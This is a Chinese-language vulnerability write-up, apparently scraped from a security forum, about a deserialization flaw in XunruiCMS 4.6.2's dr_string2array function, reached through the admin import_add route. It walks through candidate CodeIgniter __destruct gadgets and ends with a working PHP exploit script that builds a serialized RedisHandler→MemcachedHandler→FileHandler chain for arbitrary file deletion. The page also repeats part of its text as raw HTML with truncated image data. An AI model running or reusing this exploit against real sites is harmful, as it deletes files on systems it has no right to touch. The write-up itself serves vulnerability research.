在没有登录的情况下会跳转到登录入口所以要先登录管理员账号可以通过下断点查看有没有执行到import\_add方法
```php
POST ?/admin3a609e1d6cff.php?c=field&amp;m=import_add
code = xxxx
```
利用链寻找
-----
第一步寻找`__destruct()`方法只有5个一个一个找
![image-20230712102701002](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-63a062ea097ba84e4d3d7f93e83f71fa99590a7e.png)
第一个
```php
public function __destruct()
&nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;if ($this-&gt;memcached instanceof Memcached) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this-&gt;memcached-&gt;quit();
&nbsp; &nbsp; &nbsp; } elseif ($this-&gt;memcached instanceof Memcache) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this-&gt;memcached-&gt;close();
&nbsp; &nbsp; &nbsp; }
&nbsp; }
```
这个`$this-&gt;memcached`可控但是要是Memcached 或 Memcached的实例 ,操作空间不大 pass
第二个
```php
public function __destruct()
&nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;if (is_resource($this-&gt;SMTPConnect)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this-&gt;sendCommand('quit');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (ErrorException $e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$protocol = $this-&gt;getProtocol();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$method &nbsp; = 'sendWith' . ucfirst($protocol);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;log_message('error', 'Email: ' . $method . ' throwed ' . $e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
&nbsp; }
```
`$this-&gt;SMTPConnect`可控,但是要是一个资源类型,后面进入`sendCommand`方法,里面操作空间不大 pass
第三个
```php
public function __destruct()
{
if (isset($this-&gt;scratch)) {
self::wipeDirectory($this-&gt;scratch);
$this-&gt;scratch = null;
}
}
```
这个会调用`self::wipeDirectory` ,`$this-&gt;scratch`可控,跟进查看
```php
private static function wipeDirectory(string $directory): void
{
if (is_dir($directory)) {
// Try a few times in case of lingering locks
$attempts = 10;
while ((bool) $attempts &amp;&amp; ! delete_files($directory, true, false, true)) {
// @codeCoverageIgnoreStart
$attempts--;
usleep(100000); // .1s
// @codeCoverageIgnoreEnd
}
@rmdir($directory);
}
}
```
这里调用了`delete_files`似乎可以进行文件删除,继续跟进`delete_files`
```php
//\xunruicms\dayrui\CodeIgniter\System\Helpers\filesystem_helper.php
function delete_files(string $path, bool $delDir = false, bool $htdocs = false, bool $hidden = false): bool
{
$path = realpath($path) ?: $path;
$path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
try {
foreach (new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
) as $object) {
$filename = $object-&gt;getFilename();
if (! $hidden &amp;&amp; $filename[0] === '.') {
continue;
}
if (! $htdocs || ! preg_match('/^(\.htaccess|index\.(html|htm|php)|web\.config)$/i', $filename)) {
$isDir = $object-&gt;isDir();
if ($isDir &amp;&amp; $delDir) {
rmdir($object-&gt;getPathname());
continue;
}
if (! $isDir) {
unlink($object-&gt;getPathname());
}
}
}
return true;
} catch (Throwable $e) {
return false;
}
}
```
1. 首先,使用 `realpath($path) ?: $path` 将传入的 `$path` 转换为绝对路径,如果转换失败,则保留原始路径。
2. 然后,使用 `rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR` 将路径末尾的目录分隔符删除,并在末尾添加一个目录分隔符。
3. 接下来,使用`RecursiveDirectoryIterator`
类和`RecursiveIteratorIterator`
类遍历指定路径下的所有文件和目录。
- `RecursiveDirectoryIterator` 用于递归地遍历目录,并跳过 "." 和 ".." 目录。
- `RecursiveIteratorIterator` 使用 `CHILD_FIRST` 模式,确保先处理子目录中的文件和目录,然后再处理父目录中的文件和目录。
4. 对于遍历到的每个文件或目录`$object`执行以下操作:
- 获取文件名 `$filename = $object-&gt;getFilename()`。
- 如果 `$hidden` 为 `false`,并且文件名以 `.` 开头,则跳过当前循环,不处理该文件。
- 如果 `$htdocs` 为 `true`,并且文件名匹配 `.htaccess`、`index.html`、`index.htm`、`index.php` 和 `web.config` 则跳过当前循环,不处理该文件。
- 检查文件类型:
- 如果是目录且 `$delDir` 为 `true`,则使用 `rmdir($object-&gt;getPathname())` 删除目录,并继续下一次循环。
- 如果不是目录,则使用 `unlink($object-&gt;getPathname())` 删除文件。
5. 循环结束后,返回 `true` 表示删除操作成功。
6. 如果在删除过程中发生任何异常(`Throwable`),则捕获异常,并返回 `false` 表示删除操作失败。
写poc试了一下发现没有在`wipeDirectory`中没有进入`delete_files`中,报错了,函数导向错误
![image-20230712111020382](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-790663103089d74f4160d55c987483ac27107dae.png)
因为`delete_files`并不存在于某个类里面,只是一个函数,要利用这个方法需要引用它所在的文件,利用的类里面已经引用了这个文件,就是不跳转
TT^TT
第四个
```php
public function __destruct()
{
unset($this-&gt;data);
unset($this-&gt;cache);
unset($this-&gt;ret);
unset($this-&gt;icon);
unset($this-&gt;result_array);
unset($this-&gt;nbsp_str);
unset($this-&gt;nbsp);
unset($this-&gt;result);
}
```
这个只是用来释放变量,没操作空间 pass
第五个
```php
public function __destruct()
{
if (isset($this-&gt;redis)) {
$this-&gt;redis-&gt;close();
}
}
```
这个`$this-&gt;redis`可控,这里有两个方向,一个触发某个类的`__call()` , 另外一个是找到一个含有`close()`方法的类
经过一番查找,没有找到能利用的**\_\_call()** 只好去看看close()了
全局搜索close()方法找到了15个方法其中有7个是js文件的忽略
![image-20230712114207860](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-24b6997c856c984879d2174e6540d27fa6dfb033.png)
经过一番查找,找到这个可以用
```php
//\xunruicms\dayrui\CodeIgniter\System\Session\Handlers\MemcachedHandler.php
public function close(): bool
{
if (isset($this-&gt;memcached)) {
if (isset($this-&gt;lockKey)) {
$this-&gt;memcached-&gt;delete($this-&gt;lockKey);
}
if (! $this-&gt;memcached-&gt;quit()) {
return false;
}
$this-&gt;memcached = null;
return true;
}
return false;
}
```
这里的`$this-&gt;memcached`和`$this-&gt;lockKey`都可控,这里也可以触发任意类的`__call`方法,也可以触发任意类的`delete()`和`quit()`方法
这里优先选择`delete()` ,因为其参数`$this-&gt;lockKey`可控
全局搜索`delete()`方法,找到这个
```php
public function delete() {
@unlink($this-&gt;fullname);
}
```
`$this-&gt;fullname`可控,这里可以任意文件删除了,但是这是无参数方法,不能跳转到这利用
还一个:
```php
//\xunruicms\dayrui\CodeIgniter\System\Cache\Handlers\FileHandler.php
public function delete(string $key)
{
$key = static::validateKey($key, $this-&gt;prefix);
return is_file($this-&gt;path . $key) &amp;&amp; unlink($this-&gt;path . $key);
}
```
其中$key是上面传来的参数`$this-&gt;lockKey` 并且`$this-&gt;prefix`和`$this-&gt;path`也可控 ,可以看到后面会将`$this-&gt;path`和`$key`进行拼接,进行判断是否是文件,如果是文件则调用`unlink`方法进行文件删除
现在主要关注`validateKey`方法对$key的处理
```php
public static function validateKey($key, $prefix = ''): string
{
if (! is_string($key)) {
throw new InvalidArgumentException('Cache key must be a string');
}
if ($key === '') {
throw new InvalidArgumentException('Cache key cannot be empty.');
}
$reserved = config('Cache')-&gt;reservedCharacters ?? self::RESERVED_CHARACTERS;
if ($reserved &amp;&amp; strpbrk($key, $reserved) !== false) {
throw new InvalidArgumentException('Cache key contains reserved characters ' . $reserved);
}
// If the key with prefix exceeds the length then return the hashed version
return strlen($prefix . $key) &gt; static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
}
```
这个方法,在确保传入的$key不为空并且是字符串的前提下才能正常进行下面操作
```php
$reserved = config('Cache')-&gt;reservedCharacters ?? self::RESERVED_CHARACTERS;
```
获取配置中的保留字符列表。如果 `config('Cache')-&gt;reservedCharacters` 存在,则将其赋值给 `$reserved`;否则,使用 `self::RESERVED_CHARACTERS` 的默认值。
```php
public string $reservedCharacters = '{}()/\\@:';
```
```php
return strlen($prefix . $key) &gt; static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
```
- 首先,计算添加前缀后键的长度是否大于预定义的最大键长度 `static::MAX_KEY_LENGTH`。
- 如果大于最大键长度,则返回将 `$prefix . md5($key)` 处理后的哈希值作为缓存键。这是为了确保最终返回的键不会超过最大键长度。
- 如果小于等于最大键长度,则返回将 `$prefix . $key` 拼接作为缓存键
经过测试在delete方法中如果传入`$key`为要删除的文件名,在经过`validateKey`处理后不会对key照常改变直接返回`key`,而`$this-&gt;prefix`不需要修改,默认就行
在拼接文件路径的`$this-&gt;path` 可以是绝对路径也可以是相对路径默认是public目录下
在写exp的过程中遇到一个问题就是类的属性都是`protected`类型的,不能直接修改值
因为这个cms安装条件是PHP7.4+ , 由于`PHP7.1+`对属性类型不敏感 可以将`protected`修改为`public`类型
最后的exp
------
```php
//任意文件删除
&lt;?php
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
use CodeIgniter\Session\Handlers\MemcachedHandler;
class RedisHandler extends BaseHandler
{
public $redis;
public function __construct()
{
$this-&gt;redis =new MemcachedHandler();
}
}
namespace CodeIgniter\Session\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
use CodeIgniter\Cache\Handlers\FileHandler;
class MemcachedHandler extends BaseHandler
{
public $memcached ;
public $lockKey ;
public function __construct()
{
$this-&gt;memcached=new FileHandler();
$this-&gt;lockKey = "1.txt"; //文件名
}
}
namespace CodeIgniter\Session\Handlers;
abstract class BaseHandler
{
}
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
class FileHandler extends BaseHandler
{
public $path;
public function __construct()
{
$this-&gt;path="./"; //路径
}
}
use CodeIgniter\Cache\Handlers\RedisHandler;
$str = serialize(new RedisHandler());
$newStr = str\_replace('\\', '\\\\', $str);
echo urlencode($newStr)."\n";
```
END
---</textarea>
<div id=layer-photos-demo>
<div id=md_view><div class=markdown-body><h2 blockindex=0>测试环境</h2>
<p blockindex=1>V 4.6.2 (似乎小于这个版本的都行)</p>
<h2 blockindex=2>漏洞点</h2>
<pre blockindex=3><code class="hljs language-php">\xunruicms\dayrui\Fcms\Core\Helper.php
</code></pre>
<pre blockindex=4><code class="hljs language-php"><span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>dr_string2array</span>(<span class=hljs-params><span class=hljs-variable>$data</span>, <span class=hljs-variable>$limit</span> = <span class=hljs-string>''</span></span>) </span>{
&nbsp; &nbsp;<span class=hljs-keyword>if</span> (!<span class=hljs-variable>$data</span>) {
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>return</span> [];
&nbsp; } <span class=hljs-keyword>elseif</span> (is_array(<span class=hljs-variable>$data</span>)) {
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-variable>$rt</span> = <span class=hljs-variable>$data</span>;
&nbsp; } <span class=hljs-keyword>else</span> {
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-variable>$rt</span> = json_decode(<span class=hljs-variable>$data</span>, <span class=hljs-literal>true</span>);
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>if</span> (!<span class=hljs-variable>$rt</span>) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-variable>$rt</span> = unserialize(stripslashes(<span class=hljs-variable>$data</span>));
&nbsp; &nbsp; &nbsp; }
&nbsp; }
&nbsp; &nbsp;<span class=hljs-keyword>if</span> (is_array(<span class=hljs-variable>$rt</span>) &amp;&amp; <span class=hljs-variable>$limit</span>) {
&nbsp; &nbsp; &nbsp; &nbsp;<span class=hljs-keyword>return</span> dr_arraycut(<span class=hljs-variable>$rt</span>, <span class=hljs-variable>$limit</span>);
&nbsp; }
&nbsp; &nbsp;<span class=hljs-keyword>return</span> <span class=hljs-variable>$rt</span>;
}
</code></pre>
<p blockindex=5>这里的<strong>unserialize</strong>函数里面存在一个<code>stripslashes</code>函数,这个可以绕过,只有将$data中的<code>\</code>修改为<code>\\</code>即可,在此之前,需要解决</p>
<p blockindex=6><code>json_decode</code>的问题正常的json字符串会被解析然后返回解析的值如果传入的是不正常的字符串它会解析失败返回false然后才能进入<code>unserialize</code></p>
<p blockindex=7>在这个过程中,$data并没有其他过多的检查从而造成了反序列化漏洞</p>
<h2 blockindex=8>传参入口寻找</h2>
<p blockindex=9>为了能够利用这个unserialize函数必须找到$data的输入点ALT+F7搜索<code>dr_string2array</code>函数,找到了许多结果</p>
<p blockindex=10><img src="data:image/png;base64,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
<p blockindex=11>找了很多,发现只有这个函数操作性比较强,其他的调用有许多是不可控的,或者是过滤</p>
<pre blockindex=12><code class="hljs language-php">xunruicms\dayrui\Fcms\Control\Admin\Field.php
</code></pre>
<p blockindex=13><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA3EAAAHOCAIAAAC5FReSAAAgAElEQVR4nOzdZ1xTVxsA8OcmZABh7733lOUeCOJWcKLiaH0dWLd1W6vVamtrl3tVcdRVtygquLegAgqy9w4h7AyS+36AsGQEQUH7/H9+kJx77n3OHcmTc8+5IUiSBIQQQgghhNqB0tkBIIQQQgihzx7mlAghhBBCqL0wp0SofXh5ka9SKmv/LEmMiCkQdMyqSSGPX9Uxq0IIIYQ+rs8opxQL/lufrp3VXpFIhENspVSRcOG7oXZm3Tc9rKh9jRP6rYu589gttzLakViKs8K2Te9lrqWiPPlsUQcEihBCCH1snyKnjN4XRgyNDm+qKPbQHcLtas2/vq/vN7uO8qD5IYx+93Ymd3h0vNt7nrp5B9NcrhBuV613cDp8A01Kfpjw+1VOSbPlH6+9LeO+OLpt00/7HuV94u22hB338P7LDN5H3UbchR82HHjCbVMpP2Z/gNe0i2pLrsQfm6JW+7LxrItvTk8THfbzmX0u7QO/FuSf/XbChki7FUE3H271VviwdSCEEEKflEznbt5wiNM9xyoAyLkV7X+9hQUpDFkZRVkZJtHBAQgex/ofKPNb67LdkEoAMLRZHbyBZiTdiV+aYjVhhKpi0+Ufq72tIWRoMjQaXeZTb7clhTF3b7M9HV0MmJ0dSX3CmF1zlj7tvvvxkWnGDa8iqpL5kFWnrjBH9Zqz6HiPizP02r7y9HdR5dZTl8weattB0SKEEEIf26fKKQmiySxFXk+1nx4AQPK7liOR9f/Fx/8jxJWdUlogrz55rE7/j7DydvhY7W2NUrdJy7t1wnY/O4J7+397Yb84MsC46ROXaT1vY+A+z9+CIqevcWpzhi4vrwAlpeXtjhIhhBD6ZKTNKWMP3bE9qRa8jXH059RbOYSZi+7G5bZD9WpunYfvuOUephd10dah+u8XUWpzOBsuDVhgIKlPACcibsLPKaF5FCs3/c0rrL20pLvt/ugVY0GmgEIAACgbPg117N6wnBObumV3ytU3FRxZWY/eRusDTT1UpfkIJ/mVoiqAcj4JQAoqq6o/vykyVFka0WqLoveFOV7UvLqeeuCXtPuFMtYe+j8ut/bUrNtus1HlJXsNfXu7ujnwTt/tHQCAGObvGLGjtzTtJdnRqZv2pAS/rSxXlOvV33TjHCN7yb3RVqNqSdyFH05GkgQBAKSs21crhhvVFgmiTmwJVRnilvPgUZnRkEm9KoJP3WcrOftNHmouDwCQd2fXnhfGE8crvLz+NK2YUNJ39BrhZa1Se2qR5RnPQ8NeJOaUCJnKepbdvQe66shKCtOubzuc6Oo/sPLxzehcPlPNzM1naB8TFgEA3CcH/riRTRAAQEDonxtDAYAkCadJ6/2spGpTeebz27efx2ZwRQwlbXNXL++ehqzavSFkR4deu/cmswRUzXuPtKE03E0tlwJA1L3rbOtpPlbNn8X07sOGa26/cS9pjZO5VOHWo6qhDblstgiA2taqCCGEUOdoSz8lWbjjpNr4OY5Ty7kH9yT6raJHB1laSDsgs3D3aVXfuU7TSzh7dyeNXEN/e9DcRJpsx84sbJ+eGCDtWtS0B40LxVkp02a/ietmtn69qnpF8fEDsYOSyYgD5uatRlWZOb3369M1qUKpT9+s6petpvd6t0BVqgZVFew6rzFhvvOs4sKdOxNHrWfG7jXRbzUqJa2tO+SKAV6ejFiVo/vPUh11AABCx0a69mamTJ0Tk9rd/IeNSkpFnD17onzyKK9/MdCUIqpW6PcOmOpIAhRFXr6a+H4xPz2f0X+wy4Mrt87J9Og7tPer4Ns3w13N+9duOe3JUyP7/qO68bLC7z48c0Y2cHY/DQIAgOQ8P300pNi4j+dofWZF2rM7V46WyMyb5FRvlKAg5ulb+25DxtBLk57eDTt5Xm7eNFdlADlrn0mqPICsZ2fuFzuO8rGWBwAgFKW7l0yyn/xz5GapUR+vMfrylZkv7tw8zqXNm+GuDAAAouz7J88/rzLvO9RLl8ZNePwih1IvfWu5FABAmJeTASYGui1FQNE1NIGzWbkAbc4pFRRUoKqkohLgE43FQAghhNqrLTllEX3iKscZagCg00+uXHd5TmiOpYWUg8XyaONOOExRBgCdPrLlWqtzbuWbz9aSoqKyYh93RQCIjWqixybxVlowTS90m60XEwC0vdR5xoEZV9PNFxu3tlqG5qag3t8CZIe8Hn1Rfv9ei+obvnQNqSdEFDEmrXGYqgIAOu5ksdbm3AelJpMUWouKKe/RWx4A4DZAhUK/3tqN91+L7U24lR7C1Av7yXogA2r25Jr0EI7BtNo0uPmoWiGvaWqmCQB56fSmisU6Nh42FsVFz56kmLjb29HF0bevcLkAkpyygukwYri7AgBYmzEKf/k3Np7bT0MFAKAg+mW6jOOUCV4WNACwMqEV/nLhZVyZk1tdtsTTcff1tKMDgJWxDPvXy28SylzdWUBXMbJSAQCIIYCvbmplpSxFO2rxK2gmPUfb9XPWoQGAlREld9vF2KQKd1c5AIC82LeFTMcpEwZa0ADAWrtq39v0urotlwIACPiVYqDTaC2GQKczoIwv/eQiUsirEIigqjw77HYExTHARl7qqgghhFBna0tOqaJgJZndqmDIMoXC7EIAKXNKdYXajEDJWMEUinPZANLklC3KyC4HI30rydwNenenjBckIU3XKYVh4cAAgOTXVKAwrBxU3dq6bVVFa5Wa/2rqs1SgqLAYQKF9UbUmM6ccDPUsGDV/KpkomEJmWi5AbU7ZfFTtQ1ApBACFoACFSgUgCAqQ4nqPHJLTqs3GGerqipBaWgKgAgBQzC0CFUcNSfYlq6GpAJFFxfV74BRU1SSJrLyOsZ5KsqC8/R10TEM3b0MAUiQQiACAKqtAg6zKCgA5AIDS0lJQ0ayNSk1Tg4DC2rotl3402YdGmS15QACAjPGofZeW2HalmVIIIYRQy9qSUxL1njxEISgAbfip8AafjgQVSLG4DVtujlgEQDRYN5X6qT6HqfW2SxBEvb3x8aISi2r2fO2GqUCKRFJF9bE13q7kL7FY3GBfEEABMdng6NefwKXT73+L+nVEPGRxwu3gWxHJBZWS/UOCZr1isn5UBDScQ9ZyKTQ+vs0HIe2CAACg4bvjkXsZWVWeceuXBd+uPDnwwrQPmDOOEEIIdYo2jaeEukxATIoBamcuUKkEiOtlL2JSBIQMpUHd+n+I4P1P6Q9BoULj/KSDtN6izojqvTWTIiCoXWMaR92+IkkSiNpzg0KhNDj6JIgb5sUfR3nk1TMP2RY+44bqycsQAJD16GhIvaeHE0T9qMhGuXfLpQAgq6BEg/hiSWds04q5haCuKH0vMV3bylUbAMDNnn1p8+SQp+XTxuLtb4QQQp+Jtny2F5XGSW4AlqWXJQNTR3IrXF9HDnJL40pr/kxPLimWkTes1ysE7NI4ySOji1NLk0FWR6PBuul0KojItj4hWl9HHtJK4yQj1gTPInVd7vye0sa1NL3m1lrUvqg+LO800JWH9LJEye+zlKSWJoOcsU4b1/IxVOQVSPYVn80uAUWWJJVSUlGBogK2sOZPHju/FFRV2jI0snFWKhVOTo5Qxb5PT2sTQwMDAwMDTTmo35+roKAARfkFkqgK8wtIqUsBAAhLGzd4GRFZAc0rjHzxDpxs2jxBBwAqK8oAmPSWh2sihBBCXUlb+inVBGe2RImHa2iVcw/uyRE6WA2SZDMa/Y0m73i5fOVb/gRVJXbBb/u4NuOsBtT/RFSqPPxDdNVIdfVizt7deRRn60EN8zMdG2VTXta+I1mEHY0KAPLyHrbyTIDC5IK3hSQApGWKoIr36kU+HwAYci6OLBaAhY/R0INvAlcw1/tVz7DOKHWyGmEE7dd6i5onTVSWZkoyl7N3XmV5qxAAMuYu6iayAK2113yQ0ZD9b+evkf1upLICl7N/T56ql/PgFnrKpFaen5JbKgaAoiIBiEuykpKqAEBGWd9IjdFaXQAAOV70lWDSyZzFywy/Gy
<p blockindex=14>看看这个<code>import_add</code>方法</p>
<p blockindex=15>首先先判断是不是post请求进入if语句然后接收一个post参数code 然后通过<code>\r\n</code>对字符串进行分割,变为数组</p>
<p blockindex=16>如果post的code有数值就不会进入if(!$arr), 绕后就遍历这个数组,把数组中的每一个数值都传到<code>dr_string2array</code>中,然后就是触发反序列化</p>
<p blockindex=17>下一个问题,如何才能进入这个<code>import_add</code>函数呢</p>
<p blockindex=18>在路由解析的过程中会接收两个参数,<code>c</code><code>m</code> 其中c获取的是类名m获取的是方法名 ,获取之后会调用对应方法</p>
<p blockindex=19>尝试访问</p>
<pre blockindex=20><code class="hljs language-php">http:<span class=hljs-comment>//127.0.0.1/?c=field&amp;m=import_add</span>
</code></pre>
<p blockindex=21>出现404</p>
<p blockindex=22>观察一下目录因为这个field类在Admin目录里面的,可能要访问admin.php</p>
<pre blockindex=23><code class="hljs language-php">http:<span class=hljs-comment>//127.0.0.1/admin3a609e1d6cff.php?c=field&amp;m=import_add</span>
</code></pre>
<p blockindex=24>在没有登录的情况下会跳转到登录入口所以要先登录管理员账号可以通过下断点查看有没有执行到import_add方法</p>
<pre blockindex=25><code class="hljs language-php">POST ?/admin3a609e1d6cff.php?c=field&amp;m=import_add
code = xxxx
</code></pre>
<h2 blockindex=26>利用链寻找</h2>
